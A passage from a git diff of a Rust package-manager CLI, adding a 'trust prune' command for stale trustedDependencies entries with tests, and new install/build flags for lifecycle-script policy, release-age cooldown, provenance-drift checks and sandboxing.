`@scope/pkg@1.2.3` work). + let name = match key.rfind('@') { + Some(at) if at > 0 => &key[..at], + _ => key.as_str(), + }; + if !installed_names.contains(name) { + stale.push(key.clone()); + } + } + } + } + stale.sort(); + stale +} + +/// Read the resolved-tree names from `lpm.lock`. Returns an empty +/// set on missing / malformed lockfile (which prune then interprets +/// as "no names installed → everything looks stale"; we refuse to +/// prune in that case at the caller level). +fn installed_names_from_lockfile( + project_dir: &Path, +) -> Result, LpmError> { + let lockfile_path = project_dir.join("lpm.lock"); + if !lockfile_path.exists() { + return Err(LpmError::NotFound( + "no lpm.lock found — run `lpm install` before pruning trust entries".into(), + )); + } + let lockfile = lpm_lockfile::Lockfile::read_fast(&lockfile_path) + .map_err(|e| LpmError::Registry(format!("failed to read lockfile: {e}")))?; + Ok(lockfile.packages.into_iter().map(|p| p.name).collect()) +} + +async fn run_prune( + project_dir: &Path, + yes: bool, + dry_run: bool, + json: bool, +) -> Result<(), LpmError> { + let pkg_json_path = project_dir.join("package.json"); + if !pkg_json_path.exists() { + return Err(LpmError::NotFound( + "lpm trust prune requires a package.json in the current directory.".into(), + )); + } + + let installed_names = installed_names_from_lockfile(project_dir)?; + + // Load the raw JSON so we can write it back with minimal churn + // (preserve ordering, whitespace, etc.). Parse + // `trustedDependencies` via the typed path to reuse the variant- + // aware stale computation. + let manifest_text = std::fs::read_to_string(&pkg_json_path).map_err(LpmError::Io)?; + let mut manifest: serde_json::Value = serde_json::from_str(&manifest_text) + .map_err(|e| LpmError::Registry(format!("failed to parse package.json: {e}")))?; + // Audit-v4 F2: malformed `lpm.trustedDependencies` surfaces as a + // hard error instead of silently defaulting to empty. The typed + // read `lpm trust diff` uses via `lpm_workspace::read_package_json` + // already has this strictness; this path now matches. + let trusted = extract_trusted_dependencies(&manifest)?; + let stale = compute_stale_keys(&trusted, &installed_names); + + // Audit-v4 F1: structured output MUST reflect the actual final + // state of the file. The previous implementation emitted JSON + // pre-mutation (with an optimistic `mutated: true`) and could + // then exit with an error on the non-TTY/confirmation guard, + // leaving JSON consumers with an inaccurate contract. We now + // emit at most ONE structured block per invocation, always at + // the terminal branch, with the actual `mutated` state. + + // Empty: trivial success, no mutation. + if stale.is_empty() { + if json { + print_prune_json(&stale, dry_run, false); + } else { + output::success("No stale trust entries. package.json unchanged."); + } + return Ok(()); + } + + // Preview the stale list in human mode. JSON mode renders the + // full list as part of its structured output below. + if !json { + print_prune_human_preview(&stale); + } + + // Dry-run: report would-mutate without actually mutating. + if dry_run { + if json { + print_prune_json(&stale, dry_run, false); + } else { + output::info(&format!( + "Dry run: {} stale entry/entries would be removed.", + stale.len() + )); + } + return Ok(()); + } + + // Non-TTY without --yes is a hard error: prune mutates + // package.json. No prompting without explicit opt-in from CI / + // scripts. Error BEFORE any success-shaped output. + if !yes && !is_tty() { + return Err(LpmError::Script( + "lpm trust prune needs a TTY for confirmation. Pass `--yes` to \ + proceed non-interactively, or `--dry-run` to preview." + .into(), + )); + } + if !yes && !json { + let confirmed = cliclack::confirm(format!( + "Remove {} stale entry/entries from package.json?", + stale.len() + )) + .interact() + .map_err(|e| LpmError::Script(format!("prompt failed: {e}")))?; + if !confirmed { + output::info("Nothing pruned."); + return Ok(()); + } + } + + // Mutate, THEN emit — so `mutated: true` in JSON mode is an + // accurate post-condition, not an optimistic prediction. Any + // error from `write_manifest` propagates via `?` and the caller + // sees the failure; no partial JSON is emitted on failure paths. + remove_stale_from_manifest(&mut manifest, &stale); + write_manifest(&pkg_json_path, &manifest)?; + + if json { + print_prune_json(&stale, dry_run, true); + } else { + output::success(&format!( + "Removed {} stale trust entry/entries.", + stale.len() + )); + } + Ok(()) +} + +/// Extract the `lpm.trustedDependencies` subtree from a parsed +/// `package.json`. +/// +/// - Key absent → `Ok(TrustedDependencies::default())` (empty). This +/// matches the install-side behavior for projects that haven't +/// declared any trust bindings. +/// - Key present but of an invalid shape (not a string array, not an +/// object map, field typos inside bindings, etc.) → `Err`. **Audit-v4 +/// F2 fix:** previously this used `unwrap_or_default()` which +/// silently produced an empty set, causing `trust prune` to report +/// "nothing to prune" on a manifest with a typo. Now it matches the +/// strictness of the typed read path `trust diff` uses. +fn extract_trusted_dependencies( + manifest: &serde_json::Value, +) -> Result { + let Some(td_val) = manifest + .get("lpm") + .and_then(|l| l.get("trustedDependencies")) + else { + return Ok(TrustedDependencies::default()); + }; + serde_json::from_value::(td_val.clone()).map_err(|e| { + LpmError::Registry(format!( + "package.json > lpm > trustedDependencies has invalid shape: {e}. \ + Valid forms: [\"name\", ...] (legacy) or \ + {{\"name@version\": {{integrity, scriptHash}}}} (Phase 4+)." + )) + }) +} + +fn remove_stale_from_manifest(manifest: &mut serde_json::Value, stale: &[String]) { + let stale_set: std::collections::HashSet<&str> = stale.iter().map(|s| s.as_str()).collect(); + + let Some(td_val) = manifest + .get_mut("lpm") + .and_then(|l| l.get_mut("trustedDependencies")) + else { + return; + }; + + if let Some(arr) = td_val.as_array_mut() { + // Legacy form: filter the array in place. + arr.retain(|v| v.as_str().map(|s| !stale_set.contains(s)).unwrap_or(true)); + } else if let Some(map) = td_val.as_object_mut() { + // Rich form: filter the map in place. + map.retain(|k, _| !stale_set.contains(k.as_str())); + } +} + +fn write_manifest(path: &Path, manifest: &serde_json::Value) -> Result<(), LpmError> { + // Atomic write via temp-then-rename, same pattern as the snapshot + // writer. Pretty-print with 2-space indent to match the npm/pnpm + // convention most projects use. + let body = serde_json::to_string_pretty(manifest) + .map_err(|e| LpmError::Registry(format!("failed to serialize package.json: {e}")))?; + let tmp = path.with_extension("json.tmp"); + std::fs::write(&tmp, format!("{body}\n")).map_err(LpmError::Io)?; + std::fs::rename(&tmp, path).map_err(LpmError::Io)?; + Ok(()) +} + +/// Render the stale-entry preview list (human mode only). +/// +/// Callers must guard on `!stale.is_empty()` before invoking; the +/// empty case now owns its own success message in `run_prune` +/// directly so JSON and human paths share exactly one terminal +/// output per invocation (audit-v4 F1). +fn print_prune_human_preview(stale: &[String]) { + output::info(&format!( + "{} stale trust entry/entries (no longer in the resolved tree):", + stale.len() + )); + for k in stale { + println!(" {} {}", "-".red(), k.bold()); + } +} + +fn print_prune_json(stale: &[String], dry_run: bool, will_mutate: bool) { + let body = serde_json::json!({ + "schema_version": SCHEMA_VERSION, + "command": "trust prune", + "dry_run": dry_run, + "mutated": will_mutate, + "stale_count": stale.len(), + "stale": stale, + }); + println!("{}", serde_json::to_string_pretty(&body).unwrap()); +} + +fn is_tty() -> bool { + use std::io::IsTerminal; + std::io::stdout().is_terminal() +} + +// Unused import guard for the `Binding` type (referenced via +// `compute_full_diff`'s struct fields). Silences a dead-code warning +// if snapshot/current paths ever get refactored; keeps the type +// linked into this module intentionally. +#[allow(dead_code)] +fn _binding_anchor(_b: &TrustedDependencyBinding) {} + +#[cfg(test)] +mod tests { + use super::*; + use lpm_workspace::TrustedDependencyBinding; + use std::collections::{HashMap, HashSet}; + use tempfile::tempdir; + + fn rich_td(entries: &[(&str, Option<&str>, Option<&str>)]) -> TrustedDependencies { + let mut map: HashMap = HashMap::new(); + for (k, integ, sh) in entries { + map.insert( + (*k).to_string(), + TrustedDependencyBinding { + integrity: integ.map(String::from), + script_hash: sh.map(String::from), + ..Default::default() + }, + ); + } + TrustedDependencies::Rich(map) + } + + fn name_set(names: &[&str]) -> HashSet { + names.iter().map(|s| (*s).to_string()).collect() + } + + // ── compute_full_diff ────────────────────────────────────────── + + #[test] + fn diff_empty_current_and_snapshot_yields_nothing() { + let curr = TrustSnapshot::capture_current(&TrustedDependencies::default()); + let entries = compute_full_diff(None, &curr); + assert!(entries.is_empty()); + } + + #[test] + fn diff_classifies_added_removed_changed() { + // Snapshot: {esbuild@1, sharp@1} + // Current: {esbuild@1 (different hash), axios@1} + // Expected: added axios@1, removed sharp@1, changed esbuild@1 + let snap = TrustSnapshot::capture_current(&rich_td(&[ + ("esbuild@1.0.0", Some("sha512-old"), Some("sha256-old")), + ("sharp@1.0.0", None, None), + ])); + let curr = TrustSnapshot::capture_current(&rich_td(&[ + ("esbuild@1.0.0", Some("sha512-new"), Some("sha256-new")), + ("axios@1.0.0", None, None), + ])); + let entries = compute_full_diff(Some(&snap), &curr); + // Expect exactly 3 entries: 1 added + 1 removed + 1 changed. + assert_eq!(entries.len(), 3); + let kinds: Vec<&DiffKind> = entries.iter().map(|e| &e.kind).collect(); + // Ordering is added → removed → changed per impl contract. + assert_eq!( + kinds, + vec![&DiffKind::Added, &DiffKind::Removed, &DiffKind::Changed], + "diff ordering must be added-then-removed-then-changed" + ); + assert_eq!(entries[0].key, "axios@1.0.0"); + assert_eq!(entries[1].key, "sharp@1.0.0"); + assert_eq!(entries[2].key, "esbuild@1.0.0"); + } + + #[test] + fn diff_identical_yields_nothing() { + let td = rich_td(&[("esbuild@1.0.0", Some("sha512-x"), Some("sha256-y"))]); + let snap = TrustSnapshot::capture_current(&td); + let curr = TrustSnapshot::capture_current(&td); + let entries = compute_full_diff(Some(&snap), &curr); + assert!( + entries.is_empty(), + "identical snapshot+current must produce NO diff entries" + ); + } + + // ── compute_stale_keys ───────────────────────────────────────── + + #[test] + fn prune_rich_entries_by_name_strips_version_for_lookup() { + // esbuild@0.25.1 trusted; lockfile has esbuild@0.25.2 → name + // still installed, NOT stale. sharp@1.0.0 trusted; lockfile + // has no sharp → stale. + let td = rich_td(&[("esbuild@0.25.1", None, None), ("sharp@1.0.0", None, None)]); + let installed = name_set(&["esbuild", "lodash"]); + let stale = compute_stale_keys(&td, &installed); + assert_eq!(stale, vec!["sharp@1.0.0".to_string()]); + } + + #[test] + fn prune_rich_scoped_package_name_extraction() { + // `@scope/pkg@1.2.3` must strip to `@scope/pkg` (last `@`, + // not the first one). + let td = rich_td(&[("@myorg/secret@1.0.0", None, None)]); + let installed_with = name_set(&["@myorg/secret"]); + let installed_without: HashSet = HashSet::new(); + assert!( + compute_stale_keys(&td, &installed_with).is_empty(), + "scoped name in lockfile → not stale" + ); + assert_eq!( + compute_stale_keys(&td, &installed_without), + vec!["@myorg/secret@1.0.0".to_string()], + ); + } + + #[test] + fn prune_legacy_entries_by_bare_name() { + let td = TrustedDependencies::Legacy(vec!["esbuild".into(), "gone".into()]); + let installed = name_set(&["esbuild"]); + let stale = compute_stale_keys(&td, &installed); + assert_eq!(stale, vec!["gone".to_string()]); + } + + #[test] + fn prune_empty_trusted_yields_no_stale() { + let td = TrustedDependencies::default(); + let installed = name_set(&[]); + let stale = compute_stale_keys(&td, &installed); + assert!(stale.is_empty()); + } + + #[test] + fn prune_ignores_version_drift_not_stale() { + // Regression: PER-version entries (esbuild@1 trusted but the + // tree has esbuild@2) are NOT pruned by this command. The + // name IS installed; version drift is a BindingDrift concern. + let td = rich_td(&[("esbuild@1.0.0", None, None)]); + let installed = name_set(&["esbuild"]); + assert!( + compute_stale_keys(&td, &installed).is_empty(), + "version drift must NOT be flagged as stale by `trust prune`" + ); + } + + // ── remove_stale_from_manifest ───────────────────────────────── + + #[test] + fn remove_stale_rich_map_in_place() { + let mut manifest: serde_json::Value = serde_json::from_str( + r#"{ + "name": "proj", + "lpm": { + "trustedDependencies": { + "esbuild@1.0.0": {"integrity": "sha512-e"}, + "sharp@1.0.0": {"integrity": "sha512-s"} + } + } + }"#, + ) + .unwrap(); + remove_stale_from_manifest(&mut manifest, &["sharp@1.0.0".to_string()]); + let td = manifest + .get("lpm") + .unwrap() + .get("trustedDependencies") + .unwrap(); + assert!(td.get("esbuild@1.0.0").is_some()); + assert!(td.get("sharp@1.0.0").is_none()); + } + + #[test] + fn remove_stale_legacy_array_in_place() { + let mut manifest: serde_json::Value = serde_json::from_str( + r#"{"name":"proj","lpm":{"trustedDependencies":["esbuild","sharp"]}}"#, + ) + .unwrap(); + remove_stale_from_manifest(&mut manifest, &["sharp".to_string()]); + let arr = manifest + .get("lpm") + .unwrap() + .get("trustedDependencies") + .unwrap() + .as_array() + .unwrap(); + assert_eq!(arr.len(), 1); + assert_eq!(arr[0], serde_json::Value::String("esbuild".into())); + } + + #[test] + fn remove_stale_nonexistent_key_is_noop() { + let mut manifest: serde_json::Value = serde_json::from_str( + r#"{"name":"proj","lpm":{"trustedDependencies":{"esbuild@1.0.0":{}}}}"#, + ) + .unwrap(); + let original = manifest.clone(); + remove_stale_from_manifest(&mut manifest, &["nonexistent".to_string()]); + assert_eq!(manifest, original); + } + + // ── write_manifest atomicity ─────────────────────────────────── + + #[test] + fn write_manifest_atomic_no_tmp_leaks() { + let dir = tempdir().unwrap(); + let path = dir.path().join("package.json"); + let manifest: serde_json::Value = serde_json::from_str(r#"{"name":"proj"}"#).unwrap(); + write_manifest(&path, &manifest).unwrap(); + + assert!(path.exists()); + assert!( + !path.with_extension("json.tmp").exists(), + "atomic write must not leak tmp file" + ); + // Preserves pretty-print + trailing newline. + let content = std::fs::read_to_string(&path).unwrap(); + assert!(content.starts_with("{\n")); + assert!(content.ends_with("}\n")); + } + + // ── end-to-end prune on a real manifest ──────────────────────── + + #[test] + fn prune_removes_stale_entry_and_leaves_active_entry_intact() { + let dir = tempdir().unwrap(); + let pkg_json = dir.path().join("package.json"); + std::fs::write( + &pkg_json, + r#"{ + "name": "proj", + "lpm": { + "trustedDependencies": { + "esbuild@1.0.0": {"integrity": "sha512-e"}, + "sharp@1.0.0": {"integrity": "sha512-s"} + } + } + }"#, + ) + .unwrap(); + + // Fake lockfile with only esbuild installed. + let lockfile = lpm_lockfile::Lockfile { + metadata: lpm_lockfile::LockfileMetadata { + lockfile_version: 1, + resolved_with: Some("test".into()), + }, + packages: vec![lpm_lockfile::LockedPackage { + name: "esbuild".into(), + version: "1.0.0".into(), + ..Default::default() + }], + root_aliases: Default::default(), + }; + let lock_toml = lockfile.to_toml().unwrap(); + std::fs::write(dir.path().join("lpm.lock"), lock_toml).unwrap(); + + let rt = tokio::runtime::Runtime::new().unwrap(); + rt.block_on(run_prune( + dir.path(), + true, /* yes */ + false, + true, /* json */ + )) + .unwrap(); + + let after = std::fs::read_to_string(&pkg_json).unwrap(); + let after_json: serde_json::Value = serde_json::from_str(&after).unwrap(); + let td = after_json + .get("lpm") + .unwrap() + .get("trustedDependencies") + .unwrap(); + assert!( + td.get("esbuild@1.0.0").is_some(), + "active entry must survive prune" + ); + assert!( + td.get("sharp@1.0.0").is_none(), + "stale entry must be removed" + ); + } + + // ── Audit-v4 fixes ──────────────────────────────────────────── + + #[test] + fn extract_trusted_dependencies_absent_key_is_ok_default() { + // "Key not present" is NOT an error — it's a project that + // hasn't declared any trust bindings. Same behavior as the + // install-side code path. + let manifest: serde_json::Value = serde_json::from_str(r#"{"name":"proj"}"#).unwrap(); + let td = extract_trusted_dependencies(&manifest).expect("absent key → Ok"); + assert!(matches!(td, TrustedDependencies::Legacy(v) if v.is_empty())); + + // Same for `{"lpm": {}}` (empty lpm block). + let manifest: serde_json::Value = serde_json::from_str(r#"{"lpm":{}}"#).unwrap(); + let td = extract_trusted_dependencies(&manifest).expect("empty lpm → Ok"); + assert!(matches!(td, TrustedDependencies::Legacy(v) if v.is_empty())); + } + + #[test] + fn extract_trusted_dependencies_valid_legacy_array_parses() { + let manifest: serde_json::Value = + serde_json::from_str(r#"{"lpm":{"trustedDependencies":["esbuild"]}}"#).unwrap(); + let td = extract_trusted_dependencies(&manifest).unwrap(); + match td { + TrustedDependencies::Legacy(names) => { + assert_eq!(names, vec!["esbuild".to_string()]); + } + _ => panic!("expected Legacy variant"), + } + } + + #[test] + fn extract_trusted_dependencies_valid_rich_map_parses() { + let manifest: serde_json::Value = serde_json::from_str( + r#"{"lpm":{"trustedDependencies":{"esbuild@1.0.0":{"integrity":"sha512-x"}}}}"#, + ) + .unwrap(); + let td = extract_trusted_dependencies(&manifest).unwrap(); + match td { + TrustedDependencies::Rich(map) => { + assert_eq!(map.len(), 1); + assert!(map.contains_key("esbuild@1.0.0")); + } + _ => panic!("expected Rich variant"), + } + } + + #[test] + fn extract_trusted_dependencies_malformed_shape_errors() { + // Audit-v4 F2: the previous `unwrap_or_default()` path + // silently treated malformed shapes as empty, so `trust + // prune` would report "nothing to prune" on a manifest + // with a typo. Post-fix: a hard error with an actionable + // message pointing at the accepted forms. + // + // Valid shapes: string array OR object map. Number, bool, + // string, nested-object-of-strings are all invalid. + for bad in [ + r#"{"lpm":{"trustedDependencies":42}}"#, + r#"{"lpm":{"trustedDependencies":"esbuild"}}"#, + r#"{"lpm":{"trustedDependencies":true}}"#, + r#"{"lpm":{"trustedDependencies":[123]}}"#, // array of non-strings + ] { + let manifest: serde_json::Value = serde_json::from_str(bad).unwrap(); + let err = extract_trusted_dependencies(&manifest) + .expect_err("malformed trustedDependencies must error, not silently default"); + let msg = err.to_string(); + assert!( + msg.contains("trustedDependencies"), + "error message names the offending key: {msg}" + ); + assert!( + msg.contains("invalid shape") || msg.contains("Valid forms"), + "error message hints at accepted forms: {msg}" + ); + } + } + + #[test] + fn run_prune_empty_stale_does_not_mutate_manifest() { + // Audit-v4 F1 corollary: the empty-stale path reports + // `mutated: false` AND must leave package.json untouched + // (byte-identical). Proves the JSON emission and the file + // state are in sync. + let dir = tempdir().unwrap(); + let pkg_json = dir.path().join("package.json"); + let original = r#"{"name":"proj","lpm":{"trustedDependencies":{"esbuild@1.0.0":{}}}}"#; + std::fs::write(&pkg_json, original).unwrap(); + // Lockfile has esbuild → nothing stale. + let lockfile = lpm_lockfile::Lockfile { + metadata: lpm_lockfile::LockfileMetadata { + lockfile_version: 1, + resolved_with: Some("test".into()), + }, + packages: vec![lpm_lockfile::LockedPackage { + name: "esbuild".into(), + version: "1.0.0".into(), + ..Default::default() + }], + root_aliases: Default::default(), + }; + std::fs::write(dir.path().join("lpm.lock"), lockfile.to_toml().unwrap()).unwrap(); + + let rt = tokio::runtime::Runtime::new().unwrap(); + rt.block_on(run_prune(dir.path(), true, false, true /* json */)) + .unwrap(); + + // File unchanged — not even reformatted — proves the empty + // path never called `write_manifest`. + let after = std::fs::read_to_string(&pkg_json).unwrap(); + assert_eq!( + after, original, + "empty-stale path must not write package.json" + ); + } + + #[test] + fn run_prune_dry_run_does_not_mutate_manifest() { + // `--dry-run` must report the would-prune list without + // writing. Confirms JSON's `mutated: false` in dry-run mode + // is backed by an actual no-op on disk. + let dir = tempdir().unwrap(); + let pkg_json = dir.path().join("package.json"); + let original = r#"{"name":"proj","lpm":{"trustedDependencies":{"sharp@1.0.0":{}}}}"#; + std::fs::write(&pkg_json, original).unwrap(); + // Lockfile has only esbuild → sharp IS stale. + let lockfile = lpm_lockfile::Lockfile { + metadata: lpm_lockfile::LockfileMetadata { + lockfile_version: 1, + resolved_with: Some("test".into()), + }, + packages: vec![lpm_lockfile::LockedPackage { + name: "esbuild".into(), + version: "1.0.0".into(), + ..Default::default() + }], + root_aliases: Default::default(), + }; + std::fs::write(dir.path().join("lpm.lock"), lockfile.to_toml().unwrap()).unwrap(); + + let rt = tokio::runtime::Runtime::new().unwrap(); + rt.block_on(run_prune(dir.path(), true, true /* dry_run */, true)) + .unwrap(); + + let after = std::fs::read_to_string(&pkg_json).unwrap(); + assert_eq!( + after, original, + "dry-run must never write package.json (even though stale exists)" + ); + } + + #[test] + fn run_prune_malformed_trusted_deps_errors_before_any_write() { + // Audit-v4 F2 end-to-end: bad shape propagates as LpmError + // from `run_prune` before any file write. package.json + // stays byte-identical on the error path. + let dir = tempdir().unwrap(); + let pkg_json = dir.path().join("package.json"); + let original = r#"{"name":"proj","lpm":{"trustedDependencies":42}}"#; + std::fs::write(&pkg_json, original).unwrap(); + let lockfile = lpm_lockfile::Lockfile { + metadata: lpm_lockfile::LockfileMetadata { + lockfile_version: 1, + resolved_with: Some("test".into()), + }, + packages: vec![], + root_aliases: Default::default(), + }; + std::fs::write(dir.path().join("lpm.lock"), lockfile.to_toml().unwrap()).unwrap(); + + let rt = tokio::runtime::Runtime::new().unwrap(); + let result = rt.block_on(run_prune(dir.path(), true, false, true)); + assert!(result.is_err(), "malformed TD must error out of run_prune"); + + let after = std::fs::read_to_string(&pkg_json).unwrap(); + assert_eq!(after, original, "error path must not write package.json"); + } +} diff --git a/crates/lpm-cli/src/commands/update_global.rs b/crates/lpm-cli/src/commands/update_global.rs index be1d0d0c..72912dd2 100644 --- a/crates/lpm-cli/src/commands/update_global.rs +++ b/crates/lpm-cli/src/commands/update_global.rs @@ -715,6 +715,9 @@ async fn do_install_upgrade( false, // auto_build None, None, + None, // script_policy_override: global update does not expose policy flags + None, // min_release_age_override: D13/D19 — global scope is out of P3, cooldown uses the chain + crate::provenance_fetch::DriftIgnorePolicy::default(), // drift-ignore: D13/D19 — global scope is out of P4 ) .await } diff --git a/crates/lpm-cli/src/commands/upgrade.rs b/crates/lpm-cli/src/commands/upgrade.rs index 16c354f0..ce31587e 100644 --- a/crates/lpm-cli/src/commands/upgrade.rs +++ b/crates/lpm-cli/src/commands/upgrade.rs @@ -460,16 +460,19 @@ pub async fn run( client, project_dir, json_output, - false, // offline - false, // force - false, // allow_new - None, // linker_override - false, // no_skills - false, // no_editor_setup - false, // no_security_summary - false, // auto_build - None, // target_set - None, // direct_versions_out + false, // offline + false, // force + false, // allow_new + None, // linker_override + false, // no_skills + false, // no_editor_setup + false, // no_security_summary + false, // auto_build + None, // target_set + None, // direct_versions_out + None, // script_policy_override: `lpm upgrade` does not expose policy flags + None, // min_release_age_override: `lpm upgrade` uses the chain + crate::provenance_fetch::DriftIgnorePolicy::default(), // drift-ignore: `lpm upgrade` enforces drift ) .await; diff --git a/crates/lpm-cli/src/global_blocked_set.rs b/crates/lpm-cli/src/global_blocked_set.rs index 534e6446..02ccf842 100644 --- a/crates/lpm-cli/src/global_blocked_set.rs +++ b/crates/lpm-cli/src/global_blocked_set.rs @@ -282,6 +282,16 @@ mod tests { script_hash: script.map(String::from), phases_present: vec!["postinstall".into()], binding_drift: false, + // Phase 46 fields default to None in global-blocked-set + // test helpers. Global-scope triage is Phase 46.1 (see + // §17); until then these fields remain None through the + // global flow even when the project-scope flow populates + // them. + static_tier: None, + provenance_at_capture: None, + published_at: None, + behavioral_tags_hash: None, + behavioral_tags: None, } } diff --git a/crates/lpm-cli/src/main.rs b/crates/lpm-cli/src/main.rs index 92af0ee5..b0c28697 100644 --- a/crates/lpm-cli/src/main.rs +++ b/crates/lpm-cli/src/main.rs @@ -21,16 +21,21 @@ pub mod patch_state; pub mod path_onboarding; mod prompt; mod provenance; +mod provenance_fetch; mod quality; +mod release_age_config; mod save_config; mod save_spec; +mod script_policy_config; pub mod security_check; mod sigstore; mod swift_manifest; #[cfg(test)] mod test_env; +mod trust_snapshot; mod update_check; pub mod upgrade_engine; +pub mod version_diff; mod xcode_project; #[derive(Parser)] @@ -195,6 +200,48 @@ enum Commands { #[arg(long)] allow_new: bool, + /// Override the minimumReleaseAge cooldown for this install only. + /// Accepts `h` (hours), `d` (days), or plain `` seconds. + /// Use `0` to disable the cooldown for this invocation; any other + /// value tightens or loosens the window vs. the default 24h / + /// `package.json > lpm > minimumReleaseAge` / + /// `~/.lpm/config.toml` key `minimum-release-age-secs`. + /// + /// Phase 46 P3: the full precedence chain is + /// `--min-release-age` (this flag, highest) → package.json → + /// `~/.lpm/config.toml` → 24h default. `--allow-new` and this + /// flag are independent escape hatches: `--allow-new` bypasses + /// the check entirely; `--min-release-age=` adjusts the + /// window that the check enforces. + #[arg(long, value_name = "DUR")] + min_release_age: Option, + + /// Skip the Phase 46 P4 provenance-drift check for this + /// specific package name (repeatable). The drift gate blocks + /// on publisher identity changes between a prior approval + /// and the candidate version; this flag opts out for a named + /// package while keeping every other package's drift check + /// live. Per D16, this is orthogonal to `--allow-new` — the + /// cooldown and drift gates are independent. + /// + /// Prefer re-approving via `lpm approve-builds` over + /// ignoring the drift: re-approval captures the new + /// publisher identity so the next install sees a clean + /// reference. Use this flag only when the identity change + /// is expected AND the user does not yet want to accept + /// the new identity as the new approval baseline. + #[arg(long, value_name = "PKG")] + ignore_provenance_drift: Vec, + + /// Blanket: skip the Phase 46 P4 provenance-drift check for + /// every resolved package. Composes with + /// `--ignore-provenance-drift ` by superseding it — if + /// both are passed, `-all` wins and the per-package list is + /// ignored (drift checks are suppressed entirely for this + /// invocation). + #[arg(long)] + ignore_provenance_drift_all: bool, + /// Linking mode: isolated (default, pnpm-style) or hoisted (npm-style). #[arg(long)] linker: Option, @@ -215,6 +262,54 @@ enum Commands { #[arg(long)] auto_build: bool, + /// Phase 46: lifecycle-script policy override for this invocation. + /// + /// `lpm install` never runs scripts at install time + /// (two-phase model). The policy governs the post-install + /// auto-build phase (`autoBuild: true` / `--auto-build`) and + /// any subsequent `lpm build` invocation on this project. + /// + /// `deny` (default): scripts blocked; `lpm approve-builds` + /// required to run per package. + /// + /// `allow`: auto-build and `lpm build` run every scripted + /// package without tier gating (Phase 46 close-out). + /// Equivalent to pre-triage npm semantics. + /// + /// `triage`: four-layer tiered gate (Phase 46 P2–P6). Greens + /// auto-approve and run in the filesystem sandbox; ambers + /// and reds remain in the blocked set for manual review via + /// `lpm approve-builds`. Layer 4 (LLM triage) ships in + /// Phase 46.1. + /// + /// Precedence: this flag > `package.json > lpm > scriptPolicy` + /// > `~/.lpm/config.toml` key `script-policy` > default (deny). + /// + /// Mutually exclusive with `--yolo` and `--triage`. + #[arg( + long, + value_name = "deny|allow|triage", + conflicts_with_all = ["yolo", "triage_alias"], + )] + policy: Option, + + /// Phase 46: alias for `--policy=allow`. Auto-build and + /// subsequent `lpm build` run every scripted package without + /// tier gating (Phase 46 close-out). + /// + /// Mutually exclusive with `--policy` and `--triage`. + #[arg(long, conflicts_with_all = ["policy", "triage_alias"])] + yolo: bool, + + /// Phase 46: alias for `--policy=triage`. Enables the + /// tiered gate (Phase 46 P2–P6): greens auto-approve and + /// run in the sandbox; ambers and reds route to + /// `lpm approve-builds` for manual review. + /// + /// Mutually exclusive with `--policy` and `--yolo`. + #[arg(long = "triage", id = "triage_alias", conflicts_with_all = ["policy", "yolo"])] + triage_alias: bool, + /// Phase 32 Phase 2: filter workspace members. Same grammar as /// `lpm run --filter`. Only meaningful when adding packages — bare /// `lpm install` (no packages) ignores this flag. @@ -613,6 +708,16 @@ enum Commands { action: commands::global::GlobalCmd, }, + /// Inspect and manage `trustedDependencies` in package.json. + /// + /// Phase 46 P1: `lpm trust diff` shows how the current manifest's + /// trust list differs from the last install's snapshot; `lpm trust + /// prune` removes entries whose package is no longer installed. + Trust { + #[command(subcommand)] + action: commands::trust::TrustCmd, + }, + /// Show pool revenue stats. Pool, @@ -713,6 +818,74 @@ enum Commands { /// Refuse to run ANY scripts, even trusted ones. #[arg(long)] deny_all: bool, + + /// Phase 46: lifecycle-script policy override (see + /// `lpm install --policy` for the shared semantics). + /// + /// For `lpm build` specifically, the policy governs which + /// scripted packages enter the build set at the default + /// branch (no `--all`, no explicit package names). + /// + /// `deny` (default): filters to + /// `trustedDependencies`-trusted packages only. + /// + /// `allow`: includes every scripted package regardless of + /// trust (Phase 46 close-out). + /// + /// `triage`: filters to trusted-only, but greens are + /// auto-promoted (Phase 46 P6) and appear in the build + /// set without explicit `trustedDependencies` entries. + /// + /// `--all` overrides the filter under every policy. + /// + /// Mutually exclusive with `--yolo` / `--triage`. + #[arg( + long, + value_name = "deny|allow|triage", + conflicts_with_all = ["build_yolo", "build_triage_alias"], + )] + policy: Option, + + /// Phase 46: alias for `--policy=allow`. Includes every + /// scripted package in the build set regardless of trust + /// (Phase 46 close-out). Equivalent to `--all` at the + /// selection step. + #[arg(long = "yolo", id = "build_yolo", conflicts_with_all = ["policy", "build_triage_alias"])] + yolo: bool, + + /// Phase 46: alias for `--policy=triage`. Greens are + /// auto-promoted into the build set (Phase 46 P6); + /// ambers and reds require `lpm approve-builds` + /// approval before they run. + #[arg(long = "triage", id = "build_triage_alias", conflicts_with_all = ["policy", "build_yolo"])] + triage_alias: bool, + + /// Phase 46 P5: run lifecycle scripts WITHOUT filesystem + /// containment. Only reachable paired with `--unsafe-full-env` + /// — using this alone errors. Scripts get full host access; + /// reserve for debugging a sandbox false-positive that + /// `sandboxWriteDirs` can't express. Mutually exclusive with + /// `--sandbox-log`. + #[arg(long, requires = "unsafe_full_env", conflicts_with = "sandbox_log")] + no_sandbox: bool, + + /// Phase 46 P5 Chunk 4: run lifecycle scripts in diagnostic + /// mode — rule triggers are logged via `sandboxd` but not + /// enforced. **Not a safety signal.** A clean run under + /// `--sandbox-log` does NOT indicate the script would pass + /// under the full sandbox; it only means the logged + /// accesses were visible for review. View reported accesses + /// via `log show --last 5m --predicate 'senderImagePath + /// CONTAINS "Sandbox"'` and filter by the script's PID. + /// + /// macOS only in Phase 46 P5: implemented via Seatbelt's + /// `(allow (with report) default)` fallback. Linux landlock + /// has no native observe-only primitive, so `--sandbox-log` + /// on Linux errors at sandbox init with a remediation + /// pointing at `--unsafe-full-env --no-sandbox`. Mutually + /// exclusive with `--no-sandbox`. + #[arg(long)] + sandbox_log: bool, }, /// Health check: verify auth, registry, store, project state. @@ -964,6 +1137,22 @@ enum Commands { #[arg(long, conflicts_with = "yes")] list: bool, + /// Phase 46 close-out: preview decisions without mutating state. + /// + /// In project mode, `package.json`'s `trustedDependencies` stays + /// untouched. In global mode, + /// `~/.lpm/global/trusted-dependencies.json` stays untouched. + /// The review flow (card rendering, interactive prompts, version + /// diff surfaces) runs normally; only the write step is skipped. + /// JSON envelopes carry `"dry_run": true` so agents can detect + /// the mode. + /// + /// No-op when combined with `--list` (already read-only). + /// Combines with `--yes`, ``, the interactive walk, and + /// with `--global` / `--json`. + #[arg(long)] + dry_run: bool, + /// Phase 37 M5: operate on the global blocked set (aggregated /// across every `lpm install -g` install root) instead of the /// current project. Approvals write to @@ -1451,12 +1640,29 @@ fn 